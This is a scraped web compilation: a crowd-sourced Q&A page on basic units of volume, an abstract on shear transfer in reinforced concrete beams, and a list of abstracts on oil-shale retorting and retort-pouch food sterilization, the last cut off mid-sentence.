Math and Arithmetic Volume # What basic unit of volume? ###### Wiki User In the metric system the basic unit for volume is Liter. In the SAE system it changes from fluid ounces to cups and pints and quarts and gallons, etc. 🙏🏿 0 🤨 0 😮 0 😂 0 ## Related Questions ### What is the basic unit volume? The basic unit of volume in the metric system is the liter. ### What is the basic unit for volume in the metric system? Liters is the basic unit for volume in the metric system. ### The basic unit of solid volume is? The basic unit for volume in the SI system is the cubic meter. ### What is basic unit of length mass and volume in the metric system? basic unit of length mass and volume in the metric system are as follows . basic unit of length in the metric system is meter . basic unit of mass in the metric system is kg . basic unit of volume in the metric system is L. ### What is the basic metric units for volume? The cubic meter (m3) is the basic metric unit for volume. ### Is liters the basic unit of volume? The liter is a unit of volume, but it is only tolerated, it is not part of SI. The basic unit of volume in SI is the metric cube (m3). 1 m3 = 1 000 L ### In the metric system the basic unit of volume is the? Since the unit of length is the meter, the natural unit of volume is the cubic meter. The basic metric system unit for Volume is m&sup3; (meters cubed). The unit for volume is based on the SI metric unit for length that is metres cubed or (m) with a small 3 as an index ### What is the basic unit of volume in the metric system equal to 39.37 inches? 39.37 inches represents a measurement of length, not of volume. So there can be no unit of volume in the metric system equal to a length. Furthermore, volume is a derived units, not a basic unit. ### What is the basic unit for volume irregular shaped? The unit for volume is the same, whether the shape is regular or irregular. ### Which of these is the basic unit for volume a liter a newton or a centimeter? The liter is a unit of volume, but it is only tolerated, it is not part of SI. The basic unit of volume in SI is the metric cube (m3). 1 m3 = 1 000 L ### Is the basic unit for measuring volume kilogram's? No.* Mass is measured in kilograms. * Volume is measured in cubic meters (which is not a base unit, but a derived unit). ### What is the basic unit of metric measurement for volume? The basic unit of volume in the metric or SI system is the cubic metre (symbol: m3)Other units are multiples or fractions of this.liters ### What is the basic unit of volume in the metric system equal to 1.057 quarts? A liter is the basic unit of volume in the metric system equal to 1.057 quarts1.057 Imperial quarts = .946 liters 1.057 US quarts = 1.000 liters ### What are the basic unit for solids? The basic unit of solid volume is cubic meters .(m 3).The basic unit of liquid is the liter. ### What is the base metric unit of measure for volume? The basic unit of volume is the cubic metre. In everyday use, the litre is more common. ### What derived unit is used to measure? They are used to measure quantities that are not basic. Length, for example, is a basic unit, but area and volume are not so derived units will be used to measure area and volume. ## Still have questions? Previously Viewed What basic unit of volume? Asked By Wiki User
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https://infoscience.epfl.ch/record/185075
Infoscience Journal article # Analysis of shear-transfer actions on one-way RC members based on measured cracking pattern and failure kinematics Shear in one-way reinforced concrete (RC) members is transferred in cracked concrete members by a number of actions such as aggregate interlock, residual tensile stresses, dowelling action, inclination of compression chord and transverse reinforcement (if available). The amount of shear transferred by each action is significantly influenced by the cracking pattern (shape of shear cracks) and by the kinematics at failure (opening and sliding of the cracks). In this paper, the activation of the various shear-transfer actions is investigated for one-way RC members. This is done by using a set of detailed measurements on the cracking pattern and actual kinematics at failure recorded on a number of specimens (beams) with a very low amount of transverse reinforcement. The amount of shear transferred by each action is estimated on the basis of available physical models and compared for the various specimens. The results show rather good predictions in terms of strength by following this approach. Consistent explanations of the shear transferred by each action are provided.
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https://worldwidescience.org/topicpages/r/retorting+process+kentort.html
#### Sample records for retorting process kentort 1. Cyclone oil shale retorting concept. [Use it all retorting process Energy Technology Data Exchange (ETDEWEB) Harak, A.E.; Little, W.E.; Faulders, C.R. 1984-04-01 A new concept for above-ground retorting of oil shale was disclosed by A.E. Harak in US Patent No. 4,340,463, dated July 20, 1982, and assigned to the US Department of Energy. This patent titled System for Utilizing Oil Shale Fines, describes a process wherein oil shale fines of one-half inch diameter and less are pyrolyzed in an entrained-flow reactor using hot gas from a cyclone combustor. Spent shale and supplemental fuel are burned at slagging conditions in this combustor. Because of fines utilization, the designation Use It All Retorting Process (UIARP) has been adopted. A preliminary process engineering design of the UIARP, analytical tests on six samples of raw oil shale, and a preliminary technical and economic evaluation of the process were performed. The results of these investigations are summarized in this report. The patent description is included. It was concluded that such changes as deleting air preheating in the slag quench and replacing the condenser with a quench-oil scrubber are recognized as being essential. The addition of an entrained flow raw shale preheater ahead of the cyclone retort is probably required, but final acceptance is felt to be contingent on some verification that adequate reaction time cannot be obtained with only the cyclone, or possibly some other twin-cyclone configuration. Sufficient raw shale preheating could probably be done more simply in another manner, perhaps in a screw conveyor shale transporting system. Results of the technical and economic evaluations of Jacobs Engineering indicate that further investigation of the UIARP is definitely worthwhile. The projected capital and operating costs are competitive with costs of other processes as long as electric power generation and sales are part of the processing facility. 2. Investigation of the geokinetics horizontal in situ oil shale retorting process. Quarterly report, April, May, June 1980 Energy Technology Data Exchange (ETDEWEB) Hutchinson, D.L. 1980-08-01 The Retort No. 18 burn was terminated on May 11, 1980. A total of 5547 barrels of shale oil or 46 percent of in-place resource was recovered from the retort. The EPA-DOE/LETC post-burn core sampling program is underway on Retort No. 16. Eleven core holes (of 18 planned) have been completed to date. Preliminary results indicate excellent core recovery has been achieved. Recovery of 702 ft of core was accomplished. The Prevention of Significant Deterioration (PSD) permit application was submitted to the EPA regional office in Denver for review by EPA and Utah air quality officials. The application for an Underground Injection Control (UIC) permit to authorize GKI to inject retort wastewater into the Mesa Verde Formation is being processed by the State of Utah. A hearing before the Board of Oil, Gas and Mining is scheduled in Salt Lake City, Utah, for July 22, 1980. Re-entry drilling on Retort No. 24 is progressing and placement of surface equipment is underway. Retort No. 25 blasthole drilling was completed and blast preparations are ongoing. Retort No. 25 will be blasted on July 18, 1980. The retort will be similar to Retort No. 24, with improvements in blasthole loading and detonation. US Patent No. 4,205,610 was assigned to GKI for a shale oil recovery process. Rocky Mountain Energy Company (RME) is evaluating oil shale holdings in Wyoming for application of the GKI process there. 3. Investigation of the geokinetics horizontal in situ oil shale retorting process. Quarterly report, October, November, December 1983 Energy Technology Data Exchange (ETDEWEB) Henderson, K.B. 1984-03-01 Retort No. 27 was ignited on August 11, 1983 and by December 31 had completed 139 days of operation and produced 11,420 barrels of oil. Retort No. 28 was ignited on October 18, 1983 and on December 31 had completed 74 days of operation and produced 5,285 barrels of oil. The off-gas processing plants for the two retorts was completed and put through a shakedown run. Concentration levels of H/sub 2/S and NH/sub 3/ in the retort off gas did not warrant plant operation in the fourth quarter. Environmental studies are reported. 4. Energy and process substitution in the frozen-food industry: geothermal energy and the retortable pouch Energy Technology Data Exchange (ETDEWEB) Stern, M.W.; Hanemann, W.M.; Eckhouse, K. 1981-12-01 An assessment is made of the possibilities of using geothermal energy and an aseptic retortable pouch in the food processing industry. The focus of the study is on the production of frozen broccoli in the Imperial Valley, California. Background information on the current status of the frozen food industry, the nature of geothermal energy as a potential substitute for conventional fossil fuels, and the engineering details of the retortable pouch process are covered. The analytical methodology by which the energy and process substitution were evaluated is described. A four-way comparison of the economics of the frozen product versus the pouched product and conventional fossil fuels versus geothermal energy was performed. A sensitivity analysis for the energy substitution was made and results are given. Results are summarized. (MCW) 5. Lethality of Rendang packaged in multilayer retortable pouch with sterilization process Science.gov (United States) Praharasti, A. S.; Kusumaningrum, A.; Frediansyah, A.; Nurhikmat, A.; Khasanah, Y.; Suprapedi 2017-01-01 Retort Pouch had become a choice to preserve foods nowadays, besides the used of the can. Both had their own advantages, and Retort Pouch became more popular for the reason of cheaper and easier to recycle. General Method usually used to estimate the lethality of commercial heat sterilization process. Lethality value wa s used for evaluating the efficacy of the thermal process. This study aimed to find whether different layers of pouch materials affect the lethality value and to find differences lethality in two types of multilayer retort pouch, PET/Aluminum Foil/Nylon/RCPP and PET/Nylon/Modified Aluminum/CPP. The result showed that the different layer arrangement was resulted different Sterilization Value (SV). PET/Nylon/Modified Aluminum/CPP had better heat penetration, implied by the higher value of lethality. PET/Nylon/Modified Aluminum/CPP had the lethality value of 6,24 minutes, whereas the lethality value of PET/Aluminum Foil/Nylon/RCPP was 3,54 minutes. 6. Optimization of processing conditions for the sterilization of retorted short-rib patties using the response surface methodology. Science.gov (United States) Choi, Su-Hee; Cheigh, Chan-Ick; Chung, Myong-Soo 2013-05-01 The aim of this study was to determine the optimum sterilization conditions for short-rib patties in retort trays by considering microbiological safety, nutritive value, sensory characteristics, and textural properties. In total, 27 sterilization conditions with various temperatures, times, and processing methods were tested using a 3(3) factorial design. The response surface methodology (RSM) and contour analysis were applied to find the optimum sterilization conditions for the patties. Quality attributes were significantly affected by the sterilization temperature, time, and processing method. From RSM and contour analysis, the final optimum sterilization condition of the patties that simultaneously satisfied all specifications was determined to be 119.4°C for 18.55min using a water-cascading rotary mode. The findings of the present study suggest that using optimized sterilization conditions will improve the microbial safety, sensory attributes, and nutritional retention for retorted short-rib patties. 7. Environmental research plan for the Geokinetics Inc. investigation of the horizontal in situ oil shale retorting process Energy Technology Data Exchange (ETDEWEB) Spradlin, H.K.L.; Hutchinson, D.L.; Mankowski, S.G. 1979-11-30 The development of a horizontal in-situ retorting process may have significant impacts upon valuable environmental resources. A research program has been developed to identify, assess, and minimize the adverse environmental impacts which may result. The goals are to: describe the environment as it existed prior to disturbance; determine the nature and extent of the changes; develop and implement measures to minimize the adverse impacts; develop and implement reclamation procedures which will return the affected land to its original level; and coordinate measures to protect the health and safety of persons and animals which may be affected by the activities. Specific research areas are outlined. These include atmospheric, hydrologic, terrestrial ecology, and social/economic research. (DMC) 8. Advanced retorting, microwave assisted thermal sterilization (MATS), and pressure assisted thermal sterilization (PATS) to process meat products. Science.gov (United States) Barbosa-Cánovas, Gustavo V; Medina-Meza, Ilce; Candoğan, Kezban; Bermúdez-Aguirre, Daniela 2014-11-01 Conventional thermal processes have been very reliable in offering safe sterilized meat products, but some of those products are of questionable overall quality. Flavor, aroma, and texture, among other attributes, are significantly affected during such processes. To improve those quality attributes, alternative approaches to sterilizing meat and meat products have been explored in the last few years. Most of the new strategies for sterilizing meat products rely on using thermal approaches, but in a more efficient way than in conventional methods. Some of these emerging technologies have proven to be reliable and have been formally approved by regulatory agencies such as the FDA. Additional work needs to be done in order for these technologies to be fully adopted by the food industry and to optimize their use. Some of these emerging technologies for sterilizing meat include pressure assisted thermal sterilization (PATS), microwaves, and advanced retorting. This review deals with fundamental and applied aspects of these new and very promising approaches to sterilization of meat products. Copyright © 2014 Elsevier Ltd. All rights reserved. 9. Oil shale mining cost analysis. Volume I. Surface retorting process. Final report Energy Technology Data Exchange (ETDEWEB) Resnick, B.S.; English, L.M.; Metz, R.D.; Lewis, A.G. 1981-01-01 An Oil Shale Mining Economic Model (OSMEM) was developed and executed for mining scenarios representative of commercially feasible mining operations. Mining systems were evaluated for candidate sites in the Piceance Creek Basin. Mining methods selected included: (1) room-and-pillar; (2) chamber-and-pillar, with spent shale backfilling; (3) sublevel stopping; and (4) sublevel stopping, with spent shale backfilling. Mines were designed to extract oil shale resources to support a 50,000 barrels-per-day surface processing facility. Costs developed for each mining scenario included all capital and operating expenses associated with the underground mining methods. Parametric and sensitivity analyses were performed to determine the sensitivity of mining cost to changes in capital cost, operating cost, return on investment, and cost escalation. 10. 牛蒡花生软罐头的加工工艺%Study on Processing Technology of Arctium lappa L.and Peanut Retort Pouch Institute of Scientific and Technical Information of China (English) 曹雪慧; 王奔 2011-01-01 Using Arctium lappa L. and peanut as materials, the processing technology of retort pouch is studied.The results show that the better color protective condition is immersing Arctium lappa L. in 0.5% of citrate, 1.5% of salt, and 0.2% of CaCl2. The optimal formula is consisted of 1.5% of sucrose, 0.2% of monosodium glutamate,3% of salt, and 1.2% of yellow wine based on the orthogonal test. The Arctium lappa L and peanut retort pouch with rich nutrition and unique taste can be achieved after being sterilized 10′-30′- 10′/121℃ and cooling at reverse -pressure at 0.12MPa.%以牛蒡和花生为原料,对软罐头生产的工艺进行研究,结果表明:采用柠檬酸0.5%、食盐1.5%、CaCl20.2%的复合护色剂对牛蒡有较好护色效果,通过正交试验得出最佳的汤汁配比为白砂糖1.5%,味精0.2%,食盐3%,黄酒1.2%,经10′-30′-10′/121℃,反压0.12 MPa杀菌处理后,可生产出营养丰富,口感独特的牛蒡花生软罐头. 11. Oil shale project run summary for small retort Run S-10 Energy Technology Data Exchange (ETDEWEB) Ackerman, F.J.; Sandholtz, W.A.; Raley, J.H.; Laswell, B.H. (eds.) 1978-06-01 A combustion run using sidewall heaters to control heat loss and computer control to set heater power were conducted to study the effectiveness of the heater control system, compare results with a one-dimensional retort model when radial heat loss is not significant, and determine effects of recycling off-gas to the retort (by comparison with future runs). It is concluded that adequate simulation of in-situ processing in laboratory retorts requires control of heat losses. (JRD) 12. 油页岩干馏工艺积碳特性正交分析%Oil Shale Retorting Process Characteristic Orthogonal Carbon Analysis Institute of Scientific and Technical Information of China (English) 柏静儒; 许伟; 潘朔; 张本熙 2015-01-01 To evaluate coking behavior of oil shale full cycle carbonization process,we established the experi-mental table independently. Determining that propylene is the main matrix coking among various of organic ga-ses of retorting gas of oil shale based on self-building experiment table and gas chromatography. I selected pro-pylene as carbon source to analysis the phenomenon of coking in different cases ( reaction time/wall tempera-ture/gas flow rate) . Coke amount increased with the longer reaction time and higher wall temperature ( under 800 ℃) ,Coke amount continuous increased with the increasing of gas flow rate until the gas flow rate reached 30 mL·min-1 meeting a sudden decrease. According to the result of experiments,the influence degree of co-king behavior by different cases is as follows:reaction time> gas flow rate > wall temperature.%通过自建实验台模拟瓦斯全循环油页岩干馏工艺并进行积碳实验,利用气相色谱仪对积碳反应前后瓦斯气组分性质进行分析。使用丙烯为碳源气,观察不同工况下(反应时间、壁面温度、气体流量)的积碳现象。结果表明:瓦斯气中主要积碳母体为烯烃,含量最高为丙烯。积碳量随反应时间和壁面温度(800℃以下)的增加而增加,随气体流量的增加而变化,流量达到30 mL·min-1后积碳量开始减少。各工况对积碳现象的影响程度依次是反应时间>气体流量>壁面温度。 13. Heat transfer simulation and retort program adjustment for thermal processing of wheat based Haleem in semi-rigid aluminum containers. Science.gov (United States) Vatankhah, Hamed; Zamindar, Nafiseh; Shahedi Baghekhandan, Mohammad 2015-10-01 A mixed computational strategy was used to simulate and optimize the thermal processing of Haleem, an ancient eastern food, in semi-rigid aluminum containers. Average temperature values of the experiments showed no significant difference (α = 0.05) in contrast to the predicted temperatures at the same positions. According to the model, the slowest heating zone was located in geometrical center of the container. The container geometrical center F0 was estimated to be 23.8 min. A 19 min processing time interval decrease in holding time of the treatment was estimated to optimize the heating operation since the preferred F0 of some starch or meat based fluid foods is about 4.8-7.5 min. 14. Rapid Retort Processing of Eggs Science.gov (United States) 2006-12-04 Vegetable Oil 5.5 0.0 Liquid Margarine 3.000 2.981 Modified waxy maize Pre-gelatinized instant starch 2.0 0.0 Salt...known as insoluble yolk globules that are only disrupted at high concentrations of salt or urea . Free floating granules are smaller than YS, having a 15. Evaluation of oil shale from Eastern Canada by retorting and by concentration of a kerogen-rich fraction. Final report Energy Technology Data Exchange (ETDEWEB) Brown, G.W.; Abbott, D. 1981-12-16 An apparatus was developed for testing the retorting behaviour of oil shales under pressures up to 500 psi hydrogen and 700/sup 0/C. Equipment was also constructed and brought into service for the determination of oil yields by the Fischer assay method. Six samples of Albert shale of varying oil content (<10 to 40-50 gals/ton) were tested by the Fischer method and by hydrogen retorting to determine yields of liquid distillate under different conditions of retorting. The Fischer assays gave oil yields of 2.9 to 47.5 gals/ton which corresponded to carbon conversion of 50.5 to 87.8 per cent. The hydrogen retorting tests at 700/sup 0/C and 500/sup 0/C gave carbon conversion rates of 53 to 87 per cent which are comparable to that for the Fischer retorting. Retorting at 500/sup 0/C gave oil yields similar to the Fischer assay but at 700/sup 0/C oil yields were reduced, 4 to 30 gals/ton, although gas yields increased. In the retorting tests performed, the use of hydrogen at 500 psi did not increase yields. More work is needed to understand the retorting behaviour of New Brunswick and other Canadian oil shales. Retorting tests for resource assessment purposes are also needed. These should be coupled to determining the rate of carbon conversion and hence the effectiveness of the retorting technique. Petrographic, chemical and thermogravimetric analyses of the oil shales were undertaken to characterize the materials for retorting tests. The second part of the project involved producing a kerogen concentrate by standard beneficiation methods, spherical agglomeration, gravity methods and by flotation. Only gravity separation showed promise of being a viable industrial process. Fine grinding and gravity separation gave high concetrations up to 70 gals/ton but yields were low. 11 figs., 13 tabs. 16. Oil shale project: run summary for small retort Run S-11 Energy Technology Data Exchange (ETDEWEB) Sandholtz, W.A.; Ackerman, F.J.; Bierman, A.; Kaehler, M.; Raley, J.; Laswell, B.H.; Tripp, L.J. (eds.) 1978-06-01 Results are reported on retort run S-11 conducted to observe the effects of combustion retorting with undiluted air at relatively rapid burn (retorting) rates and to provide a base case for retorting small uniform shale (Anvil Points master batch -2.5 +- 1.3 cm) with undiluted air. It was found that a 0.6 m/sup 3//m/sup 2//minute superficial gas velocity gave an average rate of propagation of the combustion peak of about 2.7 m/day and an average maximum temperature on the centerline of the rubble bed of 1003/sup 0/C. Oil yield was 93 percent of Fischer assay. For small uniform shale particles (-2.5 + 1.3 cm) it is concluded that only small losses in yield (92 percent vs 96 percent in Run S-10) result from high retorting rates. Maximum temperature considerations preclude going to higher rates with undiluted air. Without diluent, a larger air flux would give excessive bed temperatures causing rock melting and potential closure to gas flow. In experimental retorts, another problem of excessive temperatures is potential damage to metal walls and in-situ sensors. No advantage is seen to using recycled off-gas as a combustion gas diluent. Inert diluents (e.g. nitrogen or steam) may be necessary for process control, but the fuel values in the off-gas should best be used for energy recovery rather than burned in the retort during recycle. Another consideration from model calculations is that the use of recycle gas containing fuel components retards the retorting rate and so is undesirable. No further recycle experiments are planned as the results of this run proved satisfactory. 17. 油页岩干馏厂污水处理工艺的设计%Design and Application of Wastewater Treatment Process in Oil Shale Retorting Plant Institute of Scientific and Technical Information of China (English) 上官中华; 李魏山; 王铮 2013-01-01 Oil shale retort wastewater is characterized by high concentrations of organic compounds, ammonia nitrogen and oils, many types of pollutants and refractory degradation. This type of wastewater was designed to be pretreated separately, and the stripper was used to reduce ammonia nitrogen to below 200 mg/L and oil to below 20 mg/L. The treated wastewater was mixed with domestic sewage for biochemical treatment. The final effluent quality met the first class criteria specified in the Integrated Wastewater Discharge Standard ( GB 8978 - 1996).%针对某污水处理站油页岩干馏废水中有机物浓度高、氨氮高、含油量高、污染物种类多、难降解的特性,设计对该部分生产废水单独做预处理,使动植物油降到20 mg/L以下,然后采用氨吹脱塔去除氨氮,使出水氨氮降到200 mg/L以下,而后再与生活污水混合后进行生化处理,出水水质达到《污水综合排放标准》(GB 8978-1996)的一级标准,其经验值得推广借鉴. 18. Evaluation of physical-chemical and biological treatment of shale oil retort water Energy Technology Data Exchange (ETDEWEB) Mercer, B.W.; Mason, M.J.; Spencer, R.R.; Wong, A.L.; Wakamiya, W. 1982-09-01 Bench scale studies were conducted to evaluate conventional physical-chemical and biological treatment processes for removal of pollutants from retort water produced by in situ shale oil recovery methods. Prior to undertaking these studies, very little information had been reported on treatment of retort water. A treatment process train patterned after that generally used throughout the petroleum refining industry was envisioned for application to retort water. The treatment train would consist of processes for removing suspended matter, ammonia, biodegradable organics, and nonbiodegradable or refractory organics. The treatment processes evaluated include anaerobic digestion and activated sludge for removal of biodegradable organics and other oxidizable substances; activated carbon adsorption for removal of nonbiodegradable organics; steam stripping for ammonia removal; and chemical coagulation, sedimentation and filtration for removal of suspended matter. Preliminary cost estimates are provided. 19. Water Usage for In-Situ Oil Shale Retorting – A Systems Dynamics Model Energy Technology Data Exchange (ETDEWEB) Earl D. Mattson; Larry Hull; Kara Cafferty 2012-12-01 A system dynamic model was construction to evaluate the water balance for in-situ oil shale conversion. The model is based on a systems dynamics approach and uses the Powersim Studio 9™ software package. Three phases of an insitu retort were consider; a construction phase primarily accounts for water needed for drilling and water produced during dewatering, an operation phase includes the production of water from the retorting process, and a remediation phase water to remove heat and solutes from the subsurface as well as return the ground surface to its natural state. Throughout these three phases, the water is consumed and produced. Consumption is account for through the drill process, dust control, returning the ground water to its initial level and make up water losses during the remedial flushing of the retort zone. Production of water is through the dewatering of the retort zone, and during chemical pyrolysis reaction of the kerogen conversion. The major water consumption was during the remediation of the insitu retorting zone. 20. Combat Ration Network for Technology Implementation. Retort Racks for Polymeric Trays in 1400 Style Spray Retorts Science.gov (United States) 2003-05-01 trays backup plate & support pillars to allow 35" shut height as required by most 3500 ton molding machines dedicated mounting rails for installation...hr. At this time, Stegner had modified all their pallet bottom plates to support the rack in all load bearing points and in addition, Wornick send two...COMBAT RATION NETWORK FOR TECHNOLOGY IMPLEMENTATION Retort Racks for Polymeric Trays in 1400 Style Spray Retorts Final Technical Report STP 2010 1. Documentation of INL’s In Situ Oil Shale Retorting Water Usage System Dynamics Model Energy Technology Data Exchange (ETDEWEB) Earl D Mattson; Larry Hull 2012-12-01 A system dynamic model was construction to evaluate the water balance for in-situ oil shale conversion. The model is based on a systems dynamics approach and uses the Powersim Studio 9™ software package. Three phases of an in situ retort were consider; a construction phase primarily accounts for water needed for drilling and water produced during dewatering, an operation phase includes the production of water from the retorting process, and a remediation phase water to remove heat and solutes from the subsurface as well as return the ground surface to its natural state. Throughout these three phases, the water is consumed and produced. Consumption is account for through the drill process, dust control, returning the ground water to its initial level and make up water losses during the remedial flushing of the retort zone. Production of water is through the dewatering of the retort zone, and during chemical pyrolysis reaction of the kerogen conversion. The document discusses each of the three phases used in the model. 2. Double Retort System for Materials Compatibility Testing Energy Technology Data Exchange (ETDEWEB) V. Munne; EV Carelli 2006-02-23 With Naval Reactors (NR) approval of the Naval Reactors Prime Contractor Team (NRPCT) recommendation to develop a gas cooled reactor directly coupled to a Brayton power conversion system as the Space Nuclear Power Plant (SNPP) for Project Prometheus (References a and b) there was a need to investigate compatibility between the various materials to be used throughout the SNPP. Of particular interest was the transport of interstitial impurities from the nickel-base superalloys, which were leading candidates for most of the piping and turbine components to the refractory metal alloys planned for use in the reactor core. This kind of contamination has the potential to affect the lifetime of the core materials. This letter provides technical information regarding the assembly and operation of a double retort materials compatibility testing system and initial experimental results. The use of a double retort system to test materials compatibility through the transfer of impurities from a source to a sink material is described here. The system has independent temperature control for both materials and is far less complex than closed loops. The system is described in detail and the results of three experiments are presented. 3. Hot gas stripping of ammonia and carbon dioxide from simulated and actual in situ retort waters Energy Technology Data Exchange (ETDEWEB) Murphy, C.L. 1979-01-01 This study proved that ammonia and carbon dioxide could be removed from retort water by hot gas stripping and that overall transfer rates were slower than for physical desorption alone. The ammonia in solution complexed with the carbonate species with the result that the CO/sub 2/ transfer rates were linked to the relatively slower desorption of NH/sub 3/ from solution. Ionic reactions in the liquid phase limited the quantity of free NH/sub 3/ and CO/sub 2/, thus decreasing the driving forces for mass transfer. The retort water exhibited foaming tendencies that affected the interfacial area which should be taken into account if a stripping tower is considered on a larger scale. Transfer unit heights were calculated for the process conditions studied and correlated such that scaleup to increased capacities is possible. 4. Morphology of retorted oil shale particles Energy Technology Data Exchange (ETDEWEB) The formation of two distinct coked particle morphotypes, namely exfoliated and peripheral, during oil shale retorting and their implications toward the coking mechanism are discussed. Rapid heating causes swelling, exfoliation, and formation of a matrix of veinlets and cracks; these changes lead to uniform coking within the particle body. In contrast, slow heating produces the peripheral morphotype with a low coke density at the center and a high coke density at the periphery. The difference in the coking morphology of the two particle types has been explained on the basis of kerogen pyrolysis kinetics. Of the two morphotypes, peripheral coke makes the particles stronger and more resistant to size attrition. In addition to the formation of coke in the particle body of the two morphotypes, coke is also formed on the outer surface of both the particle types. It has been concluded that more coke is produced from the secondary decomposition reactions than directly from the kerogen itself. 25 references, 8 figures. 5. Assessment of the long-term stability of retort pouch foods to support extended duration spaceflight. Science.gov (United States) Catauro, Patricia M; Perchonok, Michele H 2012-01-01 To determine the suitability of retort processed foods to support long-duration spaceflight, a series of 36-mo accelerated shelf life studies were performed on 13 representative retort pouch products. Combined sensory evaluations, physical properties assessments, and nutritional analyses were employed to determine shelf life endpoints for these foods, which were either observed during the analysis or extrapolated via mathematical projection. Data obtained through analysis of these 13 products were later used to estimate the shelf life values of all retort-processed spaceflight foods. In general, the major determinants of shelf life appear to be the development of off-flavor and off-color in products over time. These changes were assumed to be the result of Maillard and oxidation reactions, which can be initiated or accelerated as a result of the retort process and product formulation. Meat products and other vegetable entrées are projected to maintain their quality the longest, between 2 and 8 y, without refrigeration. Fruit and dessert products (1.5 to 5 y), dairy products (2.5 to 3.25 y), and starches, vegetable, and soup products (1 to 4 y) follow. Aside from considerable losses in B and C vitamin content, nutritional value of most products was maintained throughout shelf life. Fortification of storage-labile vitamins was proposed as a countermeasure to ensure long-term nutritive value of these products. The use of nonthermal sterilization technologies was also recommended, as a means to improve initial quality of these products and extend their shelf life for use in long-duration missions. Data obtained also emphasize the importance of low temperature storage in maintaining product quality. Retort sterilized pouch products are garnering increased commercial acceptance, largely due to their improved convenience and quality over metal-canned products. Assessment of the long-term stability of these products with ambient storage can identify potential areas for 6. Effects of retorting factors on combustion properties of shale char. 3. Distribution of residual organic matters. Science.gov (United States) Han, Xiangxin; Jiang, Xiumin; Cui, Zhigang; Liu, Jianguo; Yan, Junwei 2010-03-15 Shale char, formed in retort furnaces of oil shale, is classified as a dangerous waste containing several toxic compounds. In order to retort oil shale to produce shale oil as well as treat shale char efficiently and in an environmentally friendly way, a novel kind of comprehensive utilization system was developed to use oil shale for shale oil production, electricity generation (shale char fired) and the extensive application of oil shale ash. For exploring the combustion properties of shale char further, in this paper organic matters within shale chars obtained under different retorting conditions were extracted and identified using a gas chromatography-mass spectrometry (GC-MS) method. Subsequently, the effects of retorting factors, including retorting temperature, residence time, particle size and heating rate, were analyzed in detail. As a result, a retorting condition with a retorting temperature of 460-490 degrees C, residence time of circulating fluidized bed technology with fractional combustion. 7. Assessment of TAMU Rack Material in Poly Tray Racks using Spray Retort Science.gov (United States) 2009-07-01 necessary perforated plates for their production retort pallets to support the racks in all the load bearing points, temperature distribution were...Characterization New Rack – Loaded with Polymeric Half Steam Table Tray – One Pallet Retorted @ 260 F for 60 min (2 times) – Test for Rack Sag – Drop Test – 2...dimension and weight. Rutgers will supply adequate number of polymeric trays for this test. A single pallet load will be retorted at 260 F for 60 8. Ignition technique for an in situ oil shale retort Science.gov (United States) Cha, Chang Y. 1983-01-01 A generally flat combustion zone is formed across the entire horizontal cross-section of a fragmented permeable mass of formation particles formed in an in situ oil shale retort. The flat combustion zone is formed by either sequentially igniting regions of the surface of the fragmented permeable mass at successively lower elevations or by igniting the entire surface of the fragmented permeable mass and controlling the rate of advance of various portions of the combustion zone. 9. 30 CFR 57.22401 - Underground retorts (I-A and I-B mines). Science.gov (United States) 2010-07-01 ... 30 Mineral Resources 1 2010-07-01 2010-07-01 false Underground retorts (I-A and I-B mines). 57... METAL AND NONMETAL MINE SAFETY AND HEALTH SAFETY AND HEALTH STANDARDS-UNDERGROUND METAL AND NONMETAL MINES Safety Standards for Methane in Metal and Nonmetal Mines Underground Retorts § 57.22401... 10. Acid mine drainage potential of raw, retorted, and combusted Eastern oil shale: Final report Energy Technology Data Exchange (ETDEWEB) Sullivan, P.J.; Yelton, J.L.; Reddy, K.J. 1987-09-01 In order to manage the oxidation of pyritic materials effectively, it is necessary to understand the chemistry of both the waste and its disposal environment. The objective of this two-year study was to characterize the acid production of Eastern oil shale waste products as a function of process conditions, waste properties, and disposal practice. Two Eastern oil shales were selected, a high pyrite shale (unweathered 4.6% pyrite) and a low pyrite shale (weathered 1.5% pyrite). Each shale was retorted and combusted to produce waste products representative of potential mining and energy conversion processes. By using the standard EPA leaching tests (TCLP), each waste was characterized by determining (1) mineralogy, (2) trace element residency, and (3) acid-base account. Characterizing the acid producing potential of each waste and potential trace element hazards was completed with laboratory weathering studies. 32 refs., 21 figs., 12 tabs. 11. Development of retort porch bovine runnet%牛百叶软罐头的研制 Institute of Scientific and Technical Information of China (English) 吴红棉; 董萍; 洪鹏志 2001-01-01 以牛百叶为原料,以PET/AL/PP复合蒸煮袋作包装材料,经原料处理、预煮、油炸、浸汤、真空封口、杀菌等工序,制得牛百叶软罐头。研究了各工序中的最佳工艺条件及不同的复合材料包装袋对制品质量的影响。%A PET/AL/PP packed retort porch bovine runnet was d eveloped bypretreatment,precooking,frying,soaking,vacuum packaging and steriliz ation. The effects of processing parameters and packaging materials on the quali ty of the product were studied. 12. Source characterization studies at the Paraho semiworks oil shale retort. [Redistribution of trace and major elements Energy Technology Data Exchange (ETDEWEB) Fruchter, J.S.; Wilkerson, C.L.; Evans, J.C.; Sanders, R.W.; Abel, K.W. 1979-05-01 In order to determine the redistribution of trace and major elements and species during aboveground oil shale retorting, a comprehensive program was carried out for the sampling and analysis of feedstock, products, effluents, and ambient particulates from the Paraho Semiworks Retort. Samples were obtained during two periods in 1977 when the retort was operating in the direct mode. The data were used to construct mass balances for 31 trace and major elements in various effluents, including the offgas. The computed mass balances indicated that approx. 1% or greater fractions of the As, Co, Hg, N, Ni, S, and Se were released during retorting and redistributed to the product oil, retort water, or product offgas. The fraction released for these seven elements ranged from approx. 1% for Co and Ni to 50 to 60% for Hg and N. Approximately 20% of the S and 5% each of the As and Se were released. Ambient aerosols were found to be elevated near the retorting facility and associated crushing and retorted shale disposal sites. Approximately 50% of these particles were in the respirable range (< 5 ..mu..m). The elevated dust loadings are presented very local, as indicated by relatively low aerosol loadings at background sites 100 to 200 m away. State-of-the-art dust control measures were not employed. 15 figures, 19 tables. 13. 9 CFR 318.306 - Processing and production records. Science.gov (United States) 2010-01-01 ....306 Section 318.306 Animals and Animal Products FOOD SAFETY AND INSPECTION SERVICE, DEPARTMENT OF... Canning and Canned Products § 318.306 Processing and production records. At least the following processing... the first can enters and the time the last can exits the retort. The retort or reel speed shall... 14. An Economic and Ecologic Comparison of the Nuclear Stimulation of Natural Gas Fields with Retorting of Oil Shale Science.gov (United States) 1975-06-06 a completely different system of retorting. Unlike the gas-combustion retorts, the TOSCO II is a rotary type retort that uses hot ceramic balls to... kilns and smelters are designed to do the nonvolatile solid such as iron, copper, or lime. This is the mining technique envisioned in most shale...burned. Such heating also con- verts -ome of the other minerals to their oxide forms and the resulting ash has be»n described as 